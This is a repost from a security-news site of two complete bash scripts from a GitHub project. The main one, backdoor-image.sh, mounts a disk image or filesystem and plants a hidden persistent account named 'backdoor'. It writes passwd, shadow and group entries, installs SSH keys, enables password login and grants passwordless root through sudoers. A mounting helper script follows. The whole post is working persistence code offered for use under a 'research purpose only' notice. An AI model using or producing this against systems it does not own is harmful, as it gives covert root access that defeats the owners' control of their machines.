Quantcast
Channel: Backdoor – Security List Network™
Viewing all articles
Browse latest Browse all 164

backdoor-image is a ‘backdoor’ user to a image or filesystem at ‘target’.

$
0
0

NOTICE : This post and script for research Purpose Only!
backdoor-image is a ‘backdoor’ user to a image or filesystem at ‘target’.
File lists:
+ backdoor-image.sh add a ‘backdoor’ user to a image or filesystem at ‘target’

backdoor-image.sh

backdoor-image.sh

mount-callback-umount

mount-callback-umount

+ mount-callback-umount : mount a file to a temporary mount point and then invoke the provided cmd with args, the temporary mountpoint will be put in an a environment variable named MOUNTPOINT

Usage:

git clone https://github.com/Crazykev/backdoor-image && cd backdoor-image
chmod +x backdoor-image.sh
chmod +x mount-callback-umount

backdoor-image.sh Script:

#!/bin/bash

VERBOSITY=0
TEMP_D=""
DEFAULT_USER="backdoor"

error() { echo "$@" 1>&2; }

Usage() {
	cat <<EOF
Usage: ${0##*/} [ options ] target
   add a 'backdoor' user to a image or filesystem at 'target'
   options:
      --import-id U      use 'ssh-import-id' to get ssh public keys
                         may be used more than once.
      --force            required to operate on / filesystem
      --password P       set password P, implies --password-auth
      --password-auth    enable password auth
      --pubkeys  F       add public keys from file 'F'
                         default: ~/.ssh/id_rsa.pub unless --password
                         or --import-id specified
      --user      U      use user 'U' (default: '${DEFAULT_USER}')
EOF
}

bad_Usage() { Usage 1>&2; [ $# -eq 0 ] || error "$@"; exit 1; }
cleanup() {
	[ -z "${TEMP_D}" -o ! -d "${TEMP_D}" ] || rm -Rf "${TEMP_D}"
}

debug() {
	local level=${1}; shift;
	[ "${level}" -gt "${VERBOSITY}" ] && return
	error "${@}"
}

mod_sshd_bool() {
	local cfg="$1" kn="$2" target="$3" dry=${4:-false}
	local ws=$' \t' msg=""
	local match="^\([#]\{0,1\}\)[#$ws]*$kn\([$ws]\+\)\(yes\|no\)"
	local cur="" hsh="#"
	cur=$(sed -n "s/$match/\1\3/p" "$cfg") ||
		{ error "failed to read $cfg"; return 1; }
	if [ -n "$cur" ]; then
		case "$cur" in
			"#$target") msg="uncommenting, '$target' line";;
			"#*") msg="uncommenting, changing '{cur#$hsh}' to '$target'";;
			"$target") msg="nochange";;
			"*") msg="changing '$cur' to '$target'";;
		esac
		if [ "$msg" = "nochange" ]; then
			debug 1 "no change to $cfg necessary"
		else
			debug 1 "updating $cfg: $msg"
			$dry && return
			sed -i "s/$match/$kn\2${target}/" "$cfg" ||
				{ error "failed to update $cfg"; return 1; }
		fi
	else
		debug 1 "appending entry for '$kn $target' to $cfg"
		$dry && return
		echo "$kn $target" >> "$cfg" ||
			{ error "failed to append entry to $cfg"; return 1; }
	fi
	return 0
}

test_mod_sshd_cfg() {
	local kn="PasswordAuthentication"
	echo "#$kn   yes" > f1
	echo "#$kn  no" > f2
	echo "$kn yes" > f3
	echo "$kn no" > f4
	: > f5
	for f in f1 f2 f3 f4 f5; do
		mod_sshd_bool "$f" PasswordAuthentication yes true
	done
}

add_group_ent() {
	local group="$1" gid="$2" fgroup="$3" dry="${4:-false}"
	local grent="$group:x:$gid:"
	if grep -q "^$group:" "$fgroup"; then
		debug 1 "remove $group from group file"
		$dry || sed -i "/^$group:/d" "$fgroup" ||
			{ error "failed to remove user from group"; return 1; }
	fi

	debug 1 "append entry to group: $grent"
	if ! $dry; then
		echo "$grent" >> "$fgroup" ||
			{ error "failed to update group file"; return 1; }
	fi
	return 0
}

add_passwd_ent() {
	local user="$1" uid="$2" gid="$3" home="$4" fpasswd="$5" dry=${6:-false}

	if grep -q "^$user:" "$fpasswd"; then
		debug 1 "remove $user from password file"
		$dry || sed -i "/^$user:/d" "$fpasswd" ||
			{ error "failed to remove user from password file"; return 1; }
	fi

	local pwent="$user:x:$uid:$gid:backdoor:$home:/bin/bash"
	debug 1 "append entry to passwd: $pwent"
	if ! $dry; then
		echo "$pwent" >> "$fpasswd" ||
			{ error "failed to update passwd file"; return 1; }
	fi
}

encrypt_pass() {
	local pass="$1" fmt="${2-\$6\$}"
	enc=$(echo "$pass" |
		perl -e '
			$p=<STDIN>; chomp($p);
			$salt = join "", map { (q(a)..q(z))[rand(26)] } 1 .. 8;
			if (${ARGV[0]}) { $salt = "${ARGV[0]}$salt\$"; }
			print crypt($p, "$salt") . "\n";' "$fmt") || return
	[ -n "${enc}" ] && [ -z "${fmt}" -o "${enc#${fmt}}" != "${fmt}" ] &&
	_RET="$enc"
}

add_shadow_ent() {
	local user="$1" pass="$2" fshadow="$3" dry="$4"
	local encrypt_pre="\$6\$" shent="" encpass="" pwchange=""

	# if input was '$6$' format, just use it verbatum
	if [ "${pass#${encrypt_pre}}" != "${pass}" ]; then
		debug 1 "using encrypted password from cmdline"
		encpass="$pass"
	else
		encrypt_pass "$pass" && encpass="$_RET" ||
			{ error "failed to encrypt password"; return 1; }
	fi

	# pwchange is number of days since 1970
	pwchange=$(($(date +"(%Y-1970)*365 + 10#%j")))
	shent="$user:$encpass:$pwchange:0:99999:7:::"

	if grep -q "^$user:" "$fshadow"; then
		debug 1 "remove $user from shadow file"
		$dry || sed -i "/^$user:/d" "$fshadow" ||
			{ error "failed to remove user from shadow"; return 1; }
	fi

	debug 1 "append entry to shadow: $shent"
	if ! $dry; then
		echo "$shent" >> "$fshadow" ||
			{ error "failed to update shadow file"; return 1; }
	fi
	return 0

}

add_sudo_ent() {
	local user="$1" mp="$2" dry="$3"

	local target="/etc/sudoers.d/99-$user"

	local ent="$user ALL=(ALL) NOPASSWD:ALL"
	local start="#BACKDOOR_START_${user}"
	local end="#BACKDOOR_end_${user}"
	local content=$(printf "%s\n%s\n%s\n" "$start" "$ent" "$end")

	if [ -f "$mp/etc/lsb-release" ] &&
		grep -i lucid -q "$mp/etc/lsb-release"; then
		target="/etc/sudoers"
		debug 2 "$mp does not seem to support sudoers.d"
		debug 1 "add sudoers ($mp,$target): $ent"
		if grep -q "^$start$" "$mp/$target"; then
			debug 2 "removing $user entry from $target"
			if ! $dry; then
				sed -i "/^${start}$/,/^${end}$/d" "$target" ||
					{ error "failed update $target"; return 1; }
			fi
		fi
		if ! $dry; then
			( umask 226 && echo "$content" >> "$mp/$target" ) ||
				{ error "failed to add sudoers entry to $target"; return 1; }
		fi
	else
		debug 1 "add sudoers ($mp,$target): $ent"
		if ! $dry; then
			rm -f "$mp/$target" &&
				( umask 226 && echo "$content" > "$mp/$target" ) ||
				{ error "failed to add sudoers entry to $target"; return 1; }
		fi
	fi
}

add_user() {
	local user="$1" pass="$2" uid="$3" gid="$4" home="$5"
	local rootd="$6" dry="${7:-false}"
	local fpasswd="$rootd/etc/passwd" fshadow="$rootd/etc/shadow"
	local fgroup="$rootd/etc/group"

	[ -f "$fpasswd" ] || { error "no password file"; return 1; }
	[ -f "$fshadow" ] || { error "no shadow file"; return 1; }
	[ -f "$fgroup" ] || { error "no group file"; return 1; }

	local group="$user" f="" t=""
	
	add_passwd_ent "$user" "$uid" "$gid" "$home" "$fpasswd" "$dry" || return 1
	add_group_ent "$group" "$gid" "$fgroup" "$dry" || return 1
	add_shadow_ent "$user" "$pass" "$fshadow" "$dry" || return 1

	debug 1 "create $rootd/home/$user"
	if ! $dry; then
		mkdir -p "$rootd/home/$user" &&
			chown $uid:$gid "$rootd/home/$user" ||
			{ error "failed to make home dir"; return 1; }
		for f in "$rootd/etc/skel/".* "$rootd/etc/skel/"*; do
			[ -e "$f" ] || continue
			t="$rootd/home/$user/${f##*/}"
			[ ! -e "$t" ] || continue
			cp -a "$f" "$t" && chown -R "$uid:$gid" "$t" ||
				{ error "failed to copy $f to $t"; return 1; }
		done
	fi
}

add_user_keys() {
	local keys="$1" dir="$2" ownership="$3" dry="${4:-false}"
	debug 1 "add ssh keys to $dir with $ownership"
	$dry && return
	mkdir -p "$dir" &&
		cp "$keys" "$dir/authorized_keys" &&
		chmod 600 "$dir/authorized_keys" &&
		chown "$ownership" "$dir" "$dir/authorized_keys" &&
		chmod 700 "$dir" ||
		{ error "failed to add user keys"; return 1; }
	if [ $VERBOSITY -ge 1 ]; then
		debug 1 "added ssh keys:"
		sed "s,^,| ," "$keys"
	fi
}

gen_ssh_keys() {
	local mp="$1" types="${2:-rsa}" dry="${3:-false}"
	local ktype="" file="" ftmpl="/etc/ssh/ssh_host_%s_key" out=""
	for ktype in $types; do
		file=${ftmpl//%s/$ktype}
		if [ -f "$mp/$file" ]; then
			debug 2 "existing key for $mp/$file"
			continue
		fi
		debug 1 "ssh-keygen -t $ktype -N '' -f '$file' -C backdoor"
		$dry && continue
		out=$(ssh-keygen -t "$ktype" -N '' -f "$mp/$file" -C backdoor 2>&1) || {
			error "$out"
			error "failed generate keytype $ktype";
			return 1;
		}
		out=$(ssh-keygen -l -f "$mp/$file")
		debug 1 "$out"
	done
}

apply_changes() {
	local mp="$1" user="$2" password="$3" pwauth="$4" pubkeys="$5"
	local dry="${6:-false}"
	local home="/home/$user" key=""
 	local uid="9999" gid="9999"

	local sshcfg="$mp/etc/ssh/sshd_config"
	[ -f "$sshcfg" ] || 
		{ error "$sshcfg did no exist"; return 1; }

	key="PubkeyAuthentication"
	mod_sshd_bool "$sshcfg" "$key" "yes" "$dry" ||
		{ error "failed to set $key to yes"; return 1; }

	if $pwauth; then
		key="PasswordAuthentication"
		mod_sshd_bool "$sshcfg" "$key" "yes" "$dry" ||
			{ error "failed to set $key to yes"; return 1; }
	fi

	gen_ssh_keys "$mp" "rsa" "$dry" || return 1

	add_user "$user" "$password" "$uid" "$gid" "$home" "$mp" "$dry" || return 1

	[ -z "$pubkeys" ] ||
		add_user_keys "$pubkeys" "$mp/$home/.ssh" "$uid:$gid" || return 1

	add_sudo_ent "$user" "$mp" "$dry" || return 1

}

main() {
	short_opts="hv"
	long_opts="help,dry-run,force,import-id:,password:,password-auth,pubkeys:,user:,verbose"
	getopt_out=$(getopt --name "${0##*/}" \
		--options "{short_opts}" --long "${long_opts}" -- "$@") &&
		eval set -- "${getopt_out}" ||
		bad_Usage

	local user="" password="" pwauth=false pubkeys="" import_ids="" dry=false
	local target="" pkfile="" force=false
	user="${DEFAULT_USER}"

	local args=""
	args=( "$@" )
	unset args[${#args[@]}-1]

	while [ $# -ne 0 ]; do
		cur=${1}; next=${2};
		case "$cur" in
			-h|--help) Usage ; exit 0;;
			   --dry-run) dry=true;;
			   --force) force=true;;
			   --import-id)
					import_ids="${import_ids:+${import_ids} }$next";
					shift;;
			   --password) password=$next; shift;;
			   --password-auth) pwauth=true;;
			   --pubkeys) pubkeys=$next; shift;;
			   --user) user=$next; shift;;
			-v|--verbose) VERBOSITY=$((${VERBOSITY}+1));;
			--) shift; break;;
		esac
		shift;
	done

	[ $# -ne 0 ] || { bad_Usage "must provide image"; return 1; }
	[ $# -ge 2 ] && { bad_Usage "too many arguments: $*"; return 1; }

	[ "$(id -u)" = "0" ] || 
		{ error "sorry, must be root"; return 1; }

	target="$1"
	if [ -d "$target" ]; then
		if [ "$target" -ef "/" ] && ! $force; then
			error "you must specify --force to operate on /"
			return 1
		fi
	elif [ -f "$target" ]; then
		local vopt="" mcu="mount-callback-umount"
		if [ ${VERBOSITY} -ge 2 ]; then
			vopt="-v"
		fi
		if ! command -v "$mcu" >/dev/null 2>&1; then
			if [ -x "${0%/*}/$mcu" ]; then
				PATH="${0%/*}:$PATH"
			elif command -v "mount-image-callback" >/dev/null 2>&1; then
				mcu="mount-image-callback"
			else
				error "No '$mcu' or 'mount-image-callback' in PATH"
				return 1
			fi
		fi
		exec "$mcu" $vopt -- "$target" "$0" "${args[@]}" _MOUNTPOINT_
	else
		[ -f "$target" ] || { error "$target: not a file"; return 1; }
	fi

	if [ -n "$password" ] && ! which perl >/dev/null 2>&1; then
		{ error "perl required for making password"; return 1; }
		pwauth=true
	fi

	{ [ -z "$import_ids" ] || which ssh-import-id >/dev/null 2>&1; } ||
		{ error "you do not have ssh-import-id"; return 1; }

	TEMP_D=$(mktemp -d "${TMPDIR:-/tmp}/${0##*/}.XXXXXX") ||
		{ error "failed to make tempdir"; return 1; }
	trap cleanup EXIT

	pkfile="${TEMP_D}/pubkeys"
	if [ -z "$password" -a -z "$pubkeys" -a -z "$import_ids" ]; then
		[ -f ~/.ssh/id_rsa.pub ] || {
			error "must specify one of --password, --pubkeys, --import-id"
			error "either pass an argument or create ~/.ssh/id_rsa.pub"
			return 1
		}
		debug 1 "set pubkeys to ~/.ssh/id_rsa.pub"
		pubkeys=$(echo ~/.ssh/id_rsa.pub)
	fi

	if [ -n "$pubkeys" ]; then
		cp "$pubkeys" "$pkfile" ||
			{ error "failed to copy $pubkeys"; return 1; }
	fi

	if [ -n "$import_ids" ]; then
		ssh-import-id --output "$pkfile.i" ${import_ids} &&
			cat "$pkfile.i" >> "$pkfile" ||
			{ error "failed to import ssh users: $import_ids"; return 1; }
	fi

	[ -f "$pkfile" ] || pkfile=""

	apply_changes "$target" "$user" "$password" "$pwauth" "$pkfile"
	[ $? -eq 0 ] || { error "failed to apply changes"; return 1; }

	error "added user '$user' to $target"
	[ -n "$password" ] && error "set password to $password."
	$pwauth && error "enabled password auth" ||
		error "did not enable password auth"
	[ -n "$pubkeys" ] && error "added pubkeys from $pubkeys."
	[ -n "$import_ids" ] && error "imported ssh keys for $import_ids"
	return 0
}

main "$@"

# vi: ts=4 noexpandtab

mount-callback-umount Script:

#!/bin/bash

VERBOSITY=0
TEMP_D=""
UMOUNT=""
QEMU_DISCONNECT=""

error() { echo "$@" 1>&2; }

Usage() {
	cat <<EOF
Usage: ${0##*/} [ options ] file cmd [ args ]
   mount a file to a temporary mount point and then
   invoke the provided cmd with args
   the temporary mountpoint will be put in an a environment variable
   named MOUNTPOINT.
   if any of the arguments are the literal string '_MOUNTPOINT_', then
   they will be replaced with the mount point. Example:
      ${0##*/} my.img chroot _MOUNTPOINT_ /bin/sh
   options:
    -v | --verbose             increase verbosity
         --read-only           use read-only mount.
    -p | --proc                bind mount /proc
    -s | --sys                 bind mount /sys
    -d | --dev                 bind mount /dev
         --system-mounts       bind mount /sys, /proc, /dev
         --system-resolvconf   copy host's resolvconf into /etc/resolvconf
EOF
}

# umount_r(mp) : unmount any filesystems under r
#  this is useful to unmount a chroot that had sys, proc ... mounted
umount_r() {
	local p
	for p in "$@"; do
		[ -n "$p" ] || continue
		tac /proc/mounts | sh -c '
			p=$1
			while read s mp t opt a b ; do
				[ "${mp}" = "${p}" -o "${mp#${p}/}" != "${mp}" ] ||
					continue
				umount "$mp" || exit 1
			done
			exit 0' umount_r "${p%/}"
		[ $? -eq 0 ] || return
	done
}

bad_Usage() { Usage 1>&2; [ $# -eq 0 ] || error "$@"; exit 1; }
cleanup() {
	if [ -n "$UMOUNT" ]; then
		umount_r "$UMOUNT" ||
			error "WARNING: unmounting filesystems failed!"
	fi
	if [ -n "$QEMU_DISCONNECT" ]; then
		local out=""
		out=$(qemu-nbd --disconnect "$QEMU_DISCONNECT" 2>&1) || {
			error "warning: failed: qemu-nbd --disconnect $QEMU_DISCONNECT"
			error "$out"
		}
	fi
	[ -z "${TEMP_D}" -o ! -d "${TEMP_D}" ] ||
		rm --one-file-system -Rf "${TEMP_D}" ||
		error "removal of temp dir failed!"
}

debug() {
	local level="$1"; shift;
	[ "${level}" -gt "${VERBOSITY}" ] && return
	error "${@}"
}

mount_callback_umount() {
	local img_in="$1" dev="" out="" mp="" ret="" img="" ro=""
	local opts="" bmounts="" system_resolvconf=false

	short_opts="dhpsv"
	long_opts="dev,help,proc,read-only,sys,system-mounts,system-resolvconf,verbose"
	getopt_out=$(getopt --name "${0##*/}" \
		--options "{short_opts}" --long "${long_opts}" -- "$@") &&
		eval set -- "${getopt_out}" ||
		{ bad_Usage; return 1; }

	while [ $# -ne 0 ]; do
		cur=${1}; next=${2};
		case "$cur" in
			-d|--dev) bmounts="${bmounts:+${bmounts} /dev}";;
			-h|--help) Usage ; exit 0;;
			-p|--proc) bmounts="${bmounts:+${bmounts} /proc}";;
			-s|--sys) bmounts="${bmounts:+${bmounts} /sys}";;
			   --system-mounts) bmounts="/dev /proc /sys";;
			   --system-resolvconf) system_resolvconf=true;;
			-v|--verbose) VERBOSITY=$((${VERBOSITY}+1));;
			   --opts) opts="${opts} $next"; shift;;
			   --read-only) ro="ro";;
			--) shift; break;;
		esac
		shift;
	done

	[ $# -ge 2 ] || { bad_Usage "must provide image and cmd"; return 1; }

	[ -n "$ro" ] && $system_resolvconf && {
		error "--read-only is incompatible with system-resolvconf";
		return 1;
	}

	img_in="$1"
	shift 1

	img=$(readlink -f "$img_in") ||
		{ error "failed to get full path to $img_in"; return 1; }

	[ "$(id -u)" = "0" ] || 
		{ error "sorry, must be root"; return 1; }

	TEMP_D=$(mktemp -d "${TMPDIR:-/tmp}/${0##*/}.XXXXXX") ||
		{ error "failed to make tempdir"; return 1; }
	trap cleanup EXIT

	mp="${TEMP_D}/mp"

	mkdir "$mp" || return

	local cmd="" arg="" found=false
	cmd=( )
	for arg in "$@"; do
		if [ "${arg}" = "_MOUNTPOINT_" ]; then
			debug 1 "replaced string _MOUNTPOINT_ in arguments arg ${#cmd[@]}"
			arg=$mp
		fi
		cmd[${#cmd[@]}]="$arg"
	done

	if [ "{cmd[0]##*/}" = "bash" -o "{cmd[0]##*/}" = "sh" ] &&
	   [ ${#cmd[@]} -eq 0 ]; then
		debug 1 "invoking shell {cmd[0]}"
		error "MOUNTPOINT=$mp"
	fi

	local hasqemu=false
	command -v "qemu-nbd" >/dev/null 2>&1 && hasqemu=true

	if out=$(set -f; mount -o loop{ro:+,$ro} $opts \
	         "$img" "$mp" 2>&1); then
		debug 1 "mounted simple filesystem image '$img_in'"
		UMOUNT="$mp"
	else
		if ! $hasqemu; then
			error "simple mount of '$img_in' failed."
			error "if this not a raw image, or it is partitioned"
			error "you must have qemu-nbd (apt-get install qemu-utils)"
			error "mount failed with: $out"
			return 1
		fi
	fi

	if [ -z "$UMOUNT" ]; then
		if [ ! -e /sys/block/nbd0 ] && ! grep -q nbd /proc/modules; then
			debug 1 "trying to load nbd module"
			modprobe nbd >/dev/null 2>&1
			udevadm settle >/dev/null 2>&1
		fi
		[ -e /sys/block/nbd0 ] || {
			error "no nbd kernel support, but simple mount failed"
			return 1;
		}

		local f nbd=""
		for f in /sys/block/nbd*; do
			[ -d "$f" -a ! -f "$f/pid" ] && nbd=${f##*/} && break
		done
		if [ -z "$nbd" ]; then
			error "failed to find an nbd device"
			return 1;
		fi
		nbd="/dev/$nbd"

		if ! qemu-nbd --connect "$nbd" "$img"; then
			error "failed to qemu-nbd connect $img to $nbd"
			return 1
		fi
		QEMU_DISCONNECT="$nbd"

		local pfile="/sys/block/${nbd#/dev/}/pid"
		if [ ! -f "$pfile" ]; then
			debug 1 "waiting on pidfile for $nbd in $pfile"
			local i=0
			while [ ! -f "$pfile" ] && i=$(($i+1)); do
				if [ $i -eq 200 ]; then
					error "giving up on pidfile $pfile for $nbd"
					return 1
				fi
				sleep .1
				debug 2 "."
			done
		fi

		debug 1 "connected $img_in to $nbd. now udev-settling"
		udevadm settle >/dev/null 2>&1

		local mdev="$nbd"
		if [ -b "${nbd}p1" ]; then
			mdev="${nbd}p1"
		fi
		if ( set -f; mount {ro:+-o ${ro}} $opts "$mdev" "$mp" ) &&
			UMOUNT="$mp"; then
			debug 1 "mounted $mdev via qemu-nbd $nbd"
		else
			local pid="" pfile="/sys/block/${nbd#/dev/}/pid"
			{ read pid < "$pfile" ; } >/dev/null 2>&1
			[ -n "$pid" -a ! -d "/proc/$pid" ] ||
				error "qemu-nbd process seems to have died. was '$pid'"

			qemu-nbd --disconnect "$nbd" && QEMU_DISCONNECT=""
			error "failed to mount $mdev"
			return 1
		fi

	fi

	local bindmp=""
	for bindmp in $bmounts; do
		[ -d "$mp${bindmp}" ] || mkdir "$mp${bindmp}" ||
			{ error "failed mkdir $bindmp in mount"; return 1; }
		mount --bind "$bindmp" "$mp/${bindmp}" ||
			{ error "failed bind mount '$bindmp'"; return 1; }
	done

	if ${system_resolvconf}; then
		local rcf="$mp/etc/resolv.conf"
		debug 1 "replacing /etc/resolvconf"
		if [ -e "$rcf" -o -L "$rcf" ]; then
			local trcf="$rcf.${0##*/}.$$"
			rm -f "$trcf" &&
				mv "$rcf" "$trcf" && ORIG_RESOLVCONF="$trcf" ||
				{ error "failed mv $rcf"; return 1; }
		fi
		cp "/etc/resolv.conf" "$rcf" ||
			{ error "failed copy /etc/resolv.conf"; return 1; }
	fi

	debug 1 "invoking: MOUNTPOINT=$mp" "{cmd[@]}"
	MOUNTPOINT="$mp" "{cmd[@]}"
	ret=$?

	if ${system_resolvconf}; then
		local rcf="$mp/etc/resolv.conf"
		cmp --quiet "/etc/resolv.conf" "$rcf" >/dev/null ||
			error "WARN: /etc/resolv.conf changed in image!"
		rm "$rcf" &&
			{ [ -z "$ORIG_RESOLVCONF" ] || mv "$ORIG_RESOLVCONF" "$rcf"; } ||
			{ error "failed to restore /etc/resolv.conf"; return 1; }
	fi

	debug 1 "cmd returned $ret. unmounting $mp"
	umount_r "$mp" || { error "failed umount $img"; return 1; }
	UMOUNT=""
	rmdir "$mp"

	if [ -n "$QEMU_DISCONNECT" ]; then
		local out=""
		out=$(qemu-nbd --disconnect "$QEMU_DISCONNECT" 2>&1) &&
			QEMU_DISCONNECT="" || {
				error "failed to disconnect $QEMU_DISCONNECT";
				error "$out"
				return 1;
		}
	fi
	return $ret
}

mount_callback_umount "$@"

# vi: ts=4 noexpandtab

Source : https://github.com/Crazykev


Viewing all articles
Browse latest Browse all 164

Trending Articles